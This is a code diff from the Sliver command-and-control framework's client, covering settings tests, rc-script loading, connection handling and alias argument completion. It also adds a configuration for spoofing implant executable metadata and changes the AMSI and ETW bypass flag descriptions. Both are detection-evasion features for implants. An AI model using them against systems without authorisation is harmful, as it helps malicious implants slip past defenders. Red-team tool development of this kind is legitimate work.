PromptStyle: PromptStyleOperatorHost,
|
||||
PromptTemplate: "{{.Operator}}@{{.Host}} sliver > ",
|
||||
}
|
||||
data, err := json.MarshalIndent(legacy, "", " ")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal legacy settings: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(legacyPath, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write legacy settings: %v", err)
|
||||
}
|
||||
|
||||
settings, err := LoadSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if settings.TableStyle != "Legacy" {
|
||||
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
|
||||
}
|
||||
if settings.PromptStyle != PromptStyleOperatorHost {
|
||||
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleOperatorHost, settings.PromptStyle)
|
||||
}
|
||||
if settings.PromptTemplate != "{{.Operator}}@{{.Host}} sliver > " {
|
||||
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Operator}}@{{.Host}} sliver > ", settings.PromptTemplate)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||
t.Fatalf("expected yaml settings to exist: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(legacyPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected legacy settings to be renamed: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(legacyBackupPath(legacyPath)); err != nil {
|
||||
t.Fatalf("expected legacy backup to exist: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadSettingsWritesDefault(t *testing.T) {
|
||||
t.Setenv(envVarName, t.TempDir())
|
||||
|
||||
settings, err := LoadSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if settings.TableStyle != "SliverDefault" {
|
||||
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
|
||||
}
|
||||
if settings.PromptStyle != PromptStyleHost {
|
||||
t.Fatalf("expected default PromptStyle %q, got %q", PromptStyleHost, settings.PromptStyle)
|
||||
}
|
||||
if settings.PromptTemplate != DefaultPromptTemplate {
|
||||
t.Fatalf("expected default PromptTemplate %q, got %q", DefaultPromptTemplate, settings.PromptTemplate)
|
||||
}
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||
t.Fatalf("expected default settings to be written: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const spoofMetadataFileName = "spoof-metadata.yaml"
|
||||
|
||||
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
|
||||
# Used by generate commands when --spoof-metadata is set.
|
||||
#
|
||||
# Fields that reference file content support either:
|
||||
# - path: read bytes from a local file path
|
||||
# - base64: inline base64 file content
|
||||
# Do not set both path and base64 for the same object.
|
||||
#
|
||||
# Example 1: Minimal path-based metadata cloning (most common)
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
path: ""
|
||||
|
||||
# Optional icon donor. Reserved for future standalone icon mutation support.
|
||||
icon:
|
||||
name: icon.ico
|
||||
path: ""
|
||||
|
||||
# Example 2: Inline/base64 source (uncomment and remove "path" above)
|
||||
# source:
|
||||
# name: metadata-source.exe
|
||||
# base64: "TVqQAAMAAAAEAAAA..."
|
||||
|
||||
# Example 3: Optional PE structure overrides (advanced)
|
||||
# Applied after metadata/resources are cloned from source.
|
||||
# Omitted fields keep cloned values.
|
||||
# resource_directory:
|
||||
# characteristics: 0
|
||||
# time_date_stamp: 0
|
||||
# major_version: 1
|
||||
# minor_version: 0
|
||||
# number_of_named_entries: 0
|
||||
# number_of_id_entries: 0
|
||||
#
|
||||
# resource_directory_entries:
|
||||
# - name: 1
|
||||
# offset_to_data: 0
|
||||
#
|
||||
# resource_data_entries:
|
||||
# - offset_to_data: 0
|
||||
# size: 0
|
||||
# code_page: 0
|
||||
# reserved: 0
|
||||
#
|
||||
# export_directory:
|
||||
# characteristics: 0
|
||||
# time_date_stamp: 0
|
||||
# major_version: 1
|
||||
# minor_version: 0
|
||||
# name: 0
|
||||
# base: 0
|
||||
# number_of_functions: 0
|
||||
# number_of_names: 0
|
||||
# address_of_functions: 0
|
||||
# address_of_names: 0
|
||||
# address_of_name_ordinals: 0
|
||||
`
|
||||
|
||||
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
|
||||
type SpoofMetadataConfig struct {
|
||||
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
|
||||
}
|
||||
|
||||
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
|
||||
type PESpoofMetadataConfig struct {
|
||||
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
|
||||
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
|
||||
|
||||
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
|
||||
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
|
||||
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
|
||||
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
|
||||
}
|
||||
|
||||
// SpoofMetadataDataSource points to bytes that should be sent to the server.
|
||||
// Either Path or Base64 may be set.
|
||||
type SpoofMetadataDataSource struct {
|
||||
Name string `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
Path string `json:"path,omitempty" yaml:"path,omitempty"`
|
||||
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDirectory struct {
|
||||
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
|
||||
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDirectoryEntry struct {
|
||||
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDataEntry struct {
|
||||
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
|
||||
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
|
||||
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
|
||||
}
|
||||
|
||||
type ImageExportDirectory struct {
|
||||
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
|
||||
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
|
||||
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
|
||||
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
|
||||
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
|
||||
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
|
||||
}
|
||||
|
||||
// SpoofMetadataConfigPath returns the spoof metadata config file path.
|
||||
func SpoofMetadataConfigPath() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
return filepath.Join(rootDir, spoofMetadataFileName)
|
||||
}
|
||||
|
||||
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
|
||||
// if the file is missing.
|
||||
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
|
||||
config := defaultSpoofMetadataConfig()
|
||||
configPath := SpoofMetadataConfigPath()
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
if !os.IsNotExist(err) {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
data = []byte(defaultSpoofMetadataConfigTemplate)
|
||||
}
|
||||
if err := yaml.Unmarshal(data, config); err != nil {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
|
||||
normalizeSpoofMetadataConfig(config)
|
||||
return config, nil
|
||||
}
|
||||
|
||||
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
|
||||
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
|
||||
if config == nil {
|
||||
config = defaultSpoofMetadataConfig()
|
||||
}
|
||||
normalizeSpoofMetadataConfig(config)
|
||||
data, err := yaml.Marshal(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
|
||||
}
|
||||
|
||||
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
|
||||
if config.PE == nil {
|
||||
config.PE = &PESpoofMetadataConfig{}
|
||||
}
|
||||
if config.PE.Source == nil {
|
||||
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
|
||||
}
|
||||
if config.PE.Icon == nil {
|
||||
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
|
||||
}
|
||||
}
|
||||
|
||||
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
|
||||
return &SpoofMetadataConfig{
|
||||
PE: &PESpoofMetadataConfig{
|
||||
Source: &SpoofMetadataDataSource{
|
||||
Name: "metadata-source.exe",
|
||||
Path: "",
|
||||
},
|
||||
Icon: &SpoofMetadataDataSource{
|
||||
Name: "icon.ico",
|
||||
Path: "",
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -51,6 +51,7 @@ func init() {
|
||||
defer logFile.Close()
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
// This created before anything so that multiple commands can make use of
|
||||
|
||||
@@ -26,16 +26,16 @@ import (
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
)
|
||||
|
||||
func selectConfig() *assets.ClientConfig {
|
||||
func selectConfig() (string, *assets.ClientConfig) {
|
||||
configs := assets.GetConfigs()
|
||||
|
||||
if len(configs) == 0 {
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
if len(configs) == 1 {
|
||||
for _, config := range configs {
|
||||
return config
|
||||
for key, config := range configs {
|
||||
return key, config
|
||||
}
|
||||
}
|
||||
|
||||
@@ -49,8 +49,8 @@ func selectConfig() *assets.ClientConfig {
|
||||
err := forms.Select("Select a server:", keys, &selection)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
return configs[selection]
|
||||
return selection, configs[selection]
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||
if ln == nil {
|
||||
return
|
||||
}
|
||||
currentState := ln.GetState()
|
||||
// currentState should be "Ready" when the connection is established.
|
||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||
newState := ln.GetState()
|
||||
// newState will be "Idle" if the connection is lost.
|
||||
if newState == connectivity.Idle {
|
||||
fmt.Println("\nLost connection to server. Exiting now.")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
+12
-31
@@ -19,9 +19,7 @@ package cli
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
@@ -30,7 +28,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
// consoleCmd generates the console with required pre/post runners.
|
||||
@@ -40,66 +37,50 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
||||
Short: "Start the sliver client console",
|
||||
}
|
||||
|
||||
consoleCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
pre = func(cmd *cobra.Command, _ []string) error {
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
configKey, config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
rcScript, err := ReadRCScript(cmd)
|
||||
if err != nil {
|
||||
fmt.Printf("Failed to read rc script: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Don't clobber output when simply running an implant command from system shell.
|
||||
if run {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
}
|
||||
|
||||
var rpc rpcpb.SliverRPCClient
|
||||
var err error
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
rpc, ln, err = transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wait for any connection state changes and exit if the connection is lost.
|
||||
go handleConnectionLost(ln)
|
||||
|
||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
|
||||
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
|
||||
}
|
||||
|
||||
// Close the RPC connection once exiting
|
||||
post = func(_ *cobra.Command, _ []string) error {
|
||||
if ln != nil {
|
||||
return ln.Close()
|
||||
}
|
||||
|
||||
return nil
|
||||
return con.CloseConnection()
|
||||
}
|
||||
|
||||
return pre, post
|
||||
}
|
||||
|
||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||
currentState := ln.GetState()
|
||||
// currentState should be "Ready" when the connection is established.
|
||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||
newState := ln.GetState()
|
||||
// newState will be "Idle" if the connection is lost.
|
||||
if newState == connectivity.Idle {
|
||||
fmt.Println("\nLost connection to server. Exiting now.")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const RCFlagName = "rc"
|
||||
|
||||
func ReadRCScript(cmd *cobra.Command) (string, error) {
|
||||
if cmd == nil {
|
||||
return "", nil
|
||||
}
|
||||
if cmd.Flags().Lookup(RCFlagName) == nil {
|
||||
return "", nil
|
||||
}
|
||||
rcPath, err := cmd.Flags().GetString(RCFlagName)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if rcPath == "" {
|
||||
return "", nil
|
||||
}
|
||||
data, err := os.ReadFile(rcPath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("read rc script %q: %w", rcPath, err)
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
@@ -25,6 +25,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
|
||||
- `creds/` – Implements the 'creds' command group for the Sliver client console.
|
||||
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
|
||||
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
|
||||
- `edit/` – Implements the 'edit' command for the Sliver client console.
|
||||
- `environment/` – Implements the 'environment' command group for the Sliver client console.
|
||||
- `exec/` – Implements the 'exec' command group for the Sliver client console.
|
||||
- `exit/` – Implements the 'exit' command group for the Sliver client console.
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package alias
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -32,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
aliasCmd.AddCommand(aliasLoadCmd)
|
||||
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
|
||||
|
||||
aliasInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr + " [ALIAS]",
|
||||
@@ -44,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
aliasCmd.AddCommand(aliasInstallCmd)
|
||||
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
|
||||
|
||||
aliasRemove := &cobra.Command{
|
||||
Use: consts.RmStr + " [ALIAS]",
|
||||
|
||||
@@ -36,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/carapace-sh/carapace"
|
||||
app "github.com/reeflective/console"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -76,6 +77,16 @@ type AliasFile struct {
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasArgument - An argument for an alias command.
|
||||
type AliasArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
Choices []string `json:"choices,omitempty"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata.
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
@@ -89,6 +100,7 @@ type AliasManifest struct {
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Arguments []*AliasArgument `json:"arguments"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
@@ -158,15 +170,60 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
|
||||
// Build usage string including arguments
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(aliasManifest.CommandName)
|
||||
for _, arg := range aliasManifest.Arguments {
|
||||
usage.WriteString(" ")
|
||||
if arg.Optional {
|
||||
usage.WriteString("[")
|
||||
}
|
||||
usage.WriteString(strings.ToUpper(arg.Name))
|
||||
if arg.Optional {
|
||||
usage.WriteString("]")
|
||||
}
|
||||
}
|
||||
|
||||
// Build long help message
|
||||
longHelp := strings.Builder{}
|
||||
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
|
||||
longHelp.WriteString(usage.String())
|
||||
longHelp.WriteString("\n")
|
||||
if len(aliasManifest.Help) > 0 || len(aliasManifest.LongHelp) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
|
||||
if len(aliasManifest.Help) > 0 {
|
||||
longHelp.WriteString(aliasManifest.Help)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
if len(aliasManifest.LongHelp) > 0 {
|
||||
longHelp.WriteString(aliasManifest.LongHelp)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
}
|
||||
if len(aliasManifest.Arguments) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
|
||||
for _, arg := range aliasManifest.Arguments {
|
||||
longHelp.WriteString("\n\t")
|
||||
optStr := ""
|
||||
if arg.Optional {
|
||||
optStr = "[OPTIONAL]"
|
||||
}
|
||||
aType := arg.Type
|
||||
if aType == "wstring" {
|
||||
aType = "string"
|
||||
}
|
||||
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
|
||||
}
|
||||
}
|
||||
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
|
||||
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
|
||||
|
||||
// for each alias command, add a new app command
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &cobra.Command{
|
||||
Use: aliasManifest.CommandName,
|
||||
Use: usage.String(),
|
||||
Short: helpMsg,
|
||||
Long: longHelpMsg,
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runAliasCommand(cmd, con, args)
|
||||
},
|
||||
@@ -182,9 +239,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
||||
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.BoolP("in-process", "i", false, "Run in the current sliver process")
|
||||
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
}
|
||||
|
||||
@@ -196,6 +253,10 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
|
||||
// Setup completions for alias arguments
|
||||
comps := carapace.Gen(addAliasCmd)
|
||||
makeAliasArgCompleter(aliasManifest, comps)
|
||||
|
||||
cmd.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
@@ -313,7 +374,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
con.PrintWarnf("%s", msgStr)
|
||||
confirm := false
|
||||
_ = forms.Confirm("Do you want to continue?", &confirm)
|
||||
forms.Confirm("Do you want to continue?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -589,3 +650,105 @@ func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
|
||||
app.CommandFilterKey: strings.Join(all, ","),
|
||||
}
|
||||
}
|
||||
|
||||
// makeAliasArgCompleter builds the positional and dash arguments completer for the alias.
|
||||
// It provides completion for:
|
||||
// 1. Positional arguments (before --)
|
||||
// 2. Flag-style arguments after -- (e.g., --target, --port)
|
||||
func makeAliasArgCompleter(alias *AliasManifest, comps *carapace.Carapace) {
|
||||
if len(alias.Arguments) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range alias.Arguments {
|
||||
var action carapace.Action
|
||||
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
action = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
action = carapace.ActionFiles().Tag("alias data")
|
||||
default:
|
||||
action = carapace.ActionValues()
|
||||
}
|
||||
}
|
||||
|
||||
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
|
||||
if arg.Optional {
|
||||
usage += " (optional)"
|
||||
}
|
||||
|
||||
actions = append(actions, action.Usage("%s", usage))
|
||||
}
|
||||
|
||||
comps.PositionalCompletion(actions...)
|
||||
|
||||
// Add dash completion for flag-style arguments after --
|
||||
// Pre-build the flag completions at registration time (not in a callback)
|
||||
flagCompletion := makeAliasFlagNameCompletion(alias)
|
||||
|
||||
// Build value completions for each argument type
|
||||
valueCompletions := make(map[string]carapace.Action)
|
||||
for _, arg := range alias.Arguments {
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
|
||||
case "bool":
|
||||
valueCompletions[arg.Name] = carapace.ActionValues("true", "false").Tag("boolean")
|
||||
default:
|
||||
valueCompletions[arg.Name] = carapace.ActionValues()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Use DashAnyCompletion with a smart action that determines context
|
||||
comps.DashAnyCompletion(
|
||||
carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
// If typing a flag (starts with -)
|
||||
if strings.HasPrefix(c.Value, "-") {
|
||||
return flagCompletion
|
||||
}
|
||||
|
||||
// If previous arg was a flag, complete its value
|
||||
if len(c.Args) > 0 {
|
||||
lastArg := c.Args[len(c.Args)-1]
|
||||
if strings.HasPrefix(lastArg, "-") {
|
||||
flagName := strings.TrimLeft(lastArg, "-")
|
||||
if action, ok := valueCompletions[flagName]; ok {
|
||||
return action
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Default: show flag names
|
||||
return flagCompletion
|
||||
}),
|
||||
)
|
||||
}
|
||||
|
||||
// makeAliasFlagNameCompletion creates completion for flag names
|
||||
func makeAliasFlagNameCompletion(alias *AliasManifest) carapace.Action {
|
||||
var results []string
|
||||
|
||||
for _, arg := range alias.Arguments {
|
||||
flagName := fmt.Sprintf("--%s", arg.Name)
|
||||
desc := arg.Desc
|
||||
if arg.Optional {
|
||||
desc = fmt.Sprintf("[optional] %s", desc)
|
||||
}
|
||||
desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
|
||||
results = append(results, flagName, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("alias arguments")
|
||||
}
|
||||
@@ -428,7 +428,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Packages"))
|
||||
|
||||
urlMargin := 150 // Extra margin needed to show URL column
|
||||
|
||||
